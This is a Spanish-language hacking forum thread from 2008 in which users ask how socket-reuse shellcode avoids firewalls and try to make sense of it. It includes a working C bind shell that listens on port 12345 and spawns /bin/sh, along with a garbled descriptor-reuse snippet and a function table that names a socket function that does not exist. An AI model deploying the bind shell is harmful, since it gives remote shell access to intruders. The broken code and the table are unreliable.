elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Ingresar Registrarse
10 Octubre 2008, 22:57  



+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Bugs y Exploits (Moderadores: sirdarckcat, berz3k)
| | |-+  Sobre socket descriptor reuse shellcode! (Duda)
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Imprimir
Autor Tema: Sobre socket descriptor reuse shellcode! (Duda)  (Leído 387 veces)
NewLog

Desconectado Desconectado

Mensajes: 315



Ver Perfil
Sobre socket descriptor reuse shellcode! (Duda)
« en: 10 Febrero 2008, 02:40 »

Muy buenas gente,

Sabéis que existe un tipo de shellcode llamada "Port binding Shellcode", no? Pues esta shellcode es muy rudimentaria y si un firewall tiene como política denegar todo no se nos permitirá conectar al puerto, y por consiguiente, lanzar la shell. Aquí un ejemplo:

Código:
1 int main(void)
 2 {
 3 int new, sockfd = socket(AF_INET, SOCK_STREAM, 0);
 4 struct sockaddr_in sin;
 5 sin.sin_family = AF_INET;
 6 sin.sin_addr.s_addr = 0;
 7 sin.sin_port = htons(12345);
 8 bind(sockfd, (struct sockaddr *)&sin, sizeof(sin));
 9 listen(sockfd, 5);
10 new = accept(sockfd, NULL, 0);
11 for(i = 2; i >= 0; i--)
12 dup2(new, i);
13   execl("/bin/sh", "sh", NULL);
14 }

Así pues, he encontrado la alternativa a esta shellcode. La llamada "Socket descriptor reuse shellcode". El código es el siguiente:

Código:
int main (void){
int i, j;
j= sizeof(sockaddr_in);
for (i = 0; i<256; i++) {
  if (getpeerbyname(i, &sin,&j) < 0)
    continue;
if(sin.sin_port == htons(port))
  break;
}
for (j=0;j<2;j++)
  dup2(j,i);
  exel("/bin/sh", "sh", NULL);
}

Esta en vez de crear un nuevo socket aprovecha uno ya creado y esto nos permite no ser detectados...
El problema es que no entiendo porqué con este código no somos detectados.

He intentado buscar la función getpeerbyname pero no he encontrado nada bueno.

No entiendo porqué no creamos otro socket. Se supone que el exploit se ejecuta en nuestra máquina, no? Y hace una petición de conexión a la de la víctima y esta, por la vulnerabilidad, la acepta por cualquier cosa... Entonces como vamos a aprovechar un socket hacia su máquina???

Quizá es un poco complicado o no me he explicado bien... En blackhat-forums no me han sabido/podido/querido contestar. Espero tener un poco más de suerte aquí.

Gracias!!
En línea
hack-intel

Desconectado Desconectado

Mensajes: 3


Ver Perfil
Re: Sobre socket descriptor reuse shellcode! (Duda)
« Respuesta #1 en: 10 Febrero 2008, 02:53 »

Ok a ver entendi la Idea, pero tengo una duda, el codigo que mostraste con respecto a Socket descriptor reuse shellcode es solo un socket ya creado mmm

¿Por nosotros o por el sistema?

Por nosotros me refiero a una conexión ya establecida por nosotros digamos que estamos conectaodos a algun puerto de algun otro servico.

Por el sitema me refiero a un socket como el del ssh o ftp etc..

Suerte y salud2
En línea
NewLog

Desconectado Desconectado

Mensajes: 315



Ver Perfil
Re: Sobre socket descriptor reuse shellcode! (Duda)
« Respuesta #2 en: 10 Febrero 2008, 12:43 »

Te entiendo y es eso lo que yo tampoco acabo de entender. Juraría que es creado por el sistema y mira si el puerto del creado con el que necesitas es el mismo...

Lo que no entiendo es como va a haber un socket creado en tu sistema que coincida con uno que conecte con su máquina o que nos sirva.

Y además, no entiendo como el firewall va a dejarnos que nos conectemos de está manera...


Todo seria más lógico si la shellcode se ejecutara en el sistema de la víctima... Pero igualmente no lo entiendo... Si hubiera algún socket que nos sirviera... Tarde o temprano hubiera hecho una conexión que hubiera sido rechazada...

gracias!
En línea
zhynar_X

Desconectado Desconectado

Mensajes: 516


Use linux my friend...


Ver Perfil WWW
Re: Sobre socket descriptor reuse shellcode! (Duda)
« Respuesta #3 en: 10 Febrero 2008, 13:31 »

Busque sobre getpeerbyname(); y sirve para obtener la ip de una maquina remota usando conexion TCP/IP.

El segundo codigo tampoco entiendo mucho, donde lo encontrastes?? a lo mejor alli hay mas info.


Saludos
En línea

Me he creado un blog:
http://zhynar.blogspot.com  Aver si os gusta! ;)


Optimista es aquel que cree poder resolver un atasco de trafico tocando el claxon (Anonimo)
NewLog

Desconectado Desconectado

Mensajes: 315



Ver Perfil
Re: Sobre socket descriptor reuse shellcode! (Duda)
« Respuesta #4 en: 10 Febrero 2008, 14:35 »

me podrías dar el link de donde encontraste la info sobre la función? Para saber los parámetros.

Encontré la info en un libro que tengo sobre exploits. No dice mucho más de lo que os he dicho. Simplemente que en vez de crear un nuevo socket para realizar la conexión, utiliza uno ya existente.
Además he buscado por inet shellcodes con ese nombre, y para mi que el autor se lo ha sacado de la manga jejeje.


Gracias a los dos.
En línea
zhynar_X

Desconectado Desconectado

Mensajes: 516


Use linux my friend...


Ver Perfil WWW
Re: Sobre socket descriptor reuse shellcode! (Duda)
« Respuesta #5 en: 10 Febrero 2008, 16:28 »

En donde vi la info no ponia la sintaxis, solo esa descripcion. Venia esta tabla:

Código:
+--------------+--------------------------------------------------------------+
|  Funcion     |                        Detalle                               |
+--------------+--------------------------------------------------------------+
|socket        |Crea un descriptor                                            |
|connect       |Conecta el cliente(terminal Local) con el servidor(terminal   |
|              |remota)                                                       |
|write         |Envia informacion a traves de la conexion establecida         |
|read          |Recibe las informacion que viene por el punto de conexion      |
|close         |Termina la conexion y libera el descriptor                    |
|bind          |Establece el vinculo entre el socket, la  @ip y el puerto     |
|listen        |Espera conexion, se usa para la creacion de app serv          |
|accept        |El serv accepta la conexion de un cliente                     |
|recv          |Recive el siguinete DATAGRAMA                                 |
|recvmsg       |Es una variacion recv que se usa con la misma fuencion         |
|recvfrom      |Recive el siguinete DATAGRAMA y graba la @ip final que hace de |
|              |fuente                                                        |
|send          |Envia un DATAGRAMA                                            |
|sendmsg       |Es una variacion de send que tiene la misma fuencion           |
|sendto        |Envia un DATAGRAMA a una @ip                                  |
|shutdown      |Termina una conexion TCP/IP, en un sentido, en otro o en ambos|
|getpeerbyname |Obtiene la @ip de una makina remota  usando conexion TCP/IP   |
|getsockopt    |Lee las opciones de un socket                                 |
|setsockopt    |Cambia opciones de un socket                                  |
|gethostbyaddr |Busca informacion de una makina por su @ip                    |
|gethostbyname |Busca informacion de una makina por su nombre                 |
|gethostid     |Nosda la @ip de la makina en que esta corriendo la app         |
|gethostname   |Nosda el nombre de la makina en que esta corriendo la app      |
|getprotobyname|Nosda el numero para un protocolo valido sabiendo solo el name|
|getservbyname |Nosda el nombre del servicio que corre en el serv              |
|getsockname   |Entrega el nombre de un determinado socket                    |
|select        |Un proceso espera a que el primer descriptor de un conjunto    |
|              |determinado de descriptores este preparado                    |
+--------------+--------------------------------------------------------------+

Como se llama el libro ese??
Saludos
En línea

Me he creado un blog:
http://zhynar.blogspot.com  Aver si os gusta! ;)


Optimista es aquel que cree poder resolver un atasco de trafico tocando el claxon (Anonimo)
NewLog

Desconectado Desconectado

Mensajes: 315



Ver Perfil
Re: Sobre socket descriptor reuse shellcode! (Duda)
« Respuesta #6 en: 10 Febrero 2008, 17:39 »

Writting Security tools and exploit. James C. Foster.

He encontrado algo más. Es en php pero me da a mi que la sintaxi es la misma:

$stdin = fsockopen('php://stdin');
socket_getpeername($stdin, $addr, $port);

He leido un poco más y he descubierto lo siguiente. Cuando haces una conexión remota , se te da una respuesta con la función accept(); . Entonces se te envia un descriptor del socket. Lo que hace el código es buscar este descriptor y después lo duplica para que al conectar al puerto se te lance la shell.

Lo que no entiendo es como esto te libra del firewall. Digo yo que si tienes un firewall con política "denegar todo" no va a permitir que el programa te envie una respuesta a un intento de conexión, no?
En línea
zhynar_X

Desconectado Desconectado

Mensajes: 516


Use linux my friend...


Ver Perfil WWW
Re: Sobre socket descriptor reuse shellcode! (Duda)
« Respuesta #7 en: 10 Febrero 2008, 19:21 »

Nunca habia visto/oido este metodo, tendre que hacer alguna prueva.

Citar
Lo que no entiendo es como esto te libra del firewall. Digo yo que si tienes un firewall con política "denegar todo" no va a permitir que el programa te envie una respuesta a un intento de conexión, no?

Si tiene bloquar todo pero con alguna excepcion, por ejemplo un servidor web aprovecha ese mismo servicio para crear la shell. Cuando tenga tiempo hare alguna prueva aver si funciona.

PD: Una pena que el libro este en ingles xD

Saludos
« Última modificación: 10 Febrero 2008, 19:23 por zhynar_X » En línea

Me he creado un blog:
http://zhynar.blogspot.com  Aver si os gusta! ;)


Optimista es aquel que cree poder resolver un atasco de trafico tocando el claxon (Anonimo)
NewLog

Desconectado Desconectado

Mensajes: 315



Ver Perfil
Re: Sobre socket descriptor reuse shellcode! (Duda)
« Respuesta #8 en: 11 Febrero 2008, 00:50 »

Es lo que hay. Si quieres algo bueno y completo sobre estos temas sólo te queda el inglés. Por eso seguramente no habías visto esto nunca. Al igual que yo.

Si algún dia haces las pruebas ya noos explicarás. Yo continuo con el libro que dentro de unas páginas siguen con el tema. (Me lo he leido y no lo explican mucho mejor).

Gracias!
En línea
Páginas: [1] Ir Arriba Imprimir 
Ir a:  







Consolas     La Web de Goku     MilW0rm     MundoDivx

Hispabyte     Truzone     TodoReviews     ZonaPhotoshop

hard-h2o modding    Foros de ayuda    Yashira.org    Videojuegos    indetectables.net   

Noticias Informatica    Seguridad Informática    ADSL    Foros en español    eNYe Sec

Todas las webs afiliadas están libres de publicidad engañosa.

Powered by SMF 1.1.6 | SMF © 2006-2008, Simple Machines LLC
Free counter and web stats